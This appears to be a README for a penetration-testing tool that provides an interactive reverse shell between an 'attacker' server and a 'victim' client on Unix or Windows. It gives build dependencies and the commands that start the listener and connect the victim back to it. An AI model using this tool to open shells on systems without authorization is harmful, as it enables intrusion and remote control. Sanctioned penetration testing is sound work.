Get a fully-ish interactive reverse shell when performing penetration tests. I got sick of using dumb reverse shells and hitting ctrl+c, especially on a windows vicitim machine.
In the attacker machine, launch the server executable with a specified host and port to listen for incoming requests.
$ server <bind_address> <bind_port>In the victim machine, launch the client executable (both unix and windows version are available).
$ client <server_address> <server_port>This tool should be compiled on a unix machine and it is dependant on the following packages.
Just run make after installing the dependencies.
- C++ Compiler :
g++ - C++ Cross Compiler (Win32) :
g++-mingw-w64-i686-win32 - C++ Cross Compiler (i386) :
g++-multilib - Make build tools :
make - Winpty and Mongoose (included in this repo)
- Windows child pty does not have the same privileges in some cases
- Windows 10 does not support Crtl+C on child processes (Maybe use conpty as an alternative)
- Install Winpty and Mongoose as a dependencies (From Git from example)
It goes without saying that this tool is intended to be used for educational and/or ethical purposes.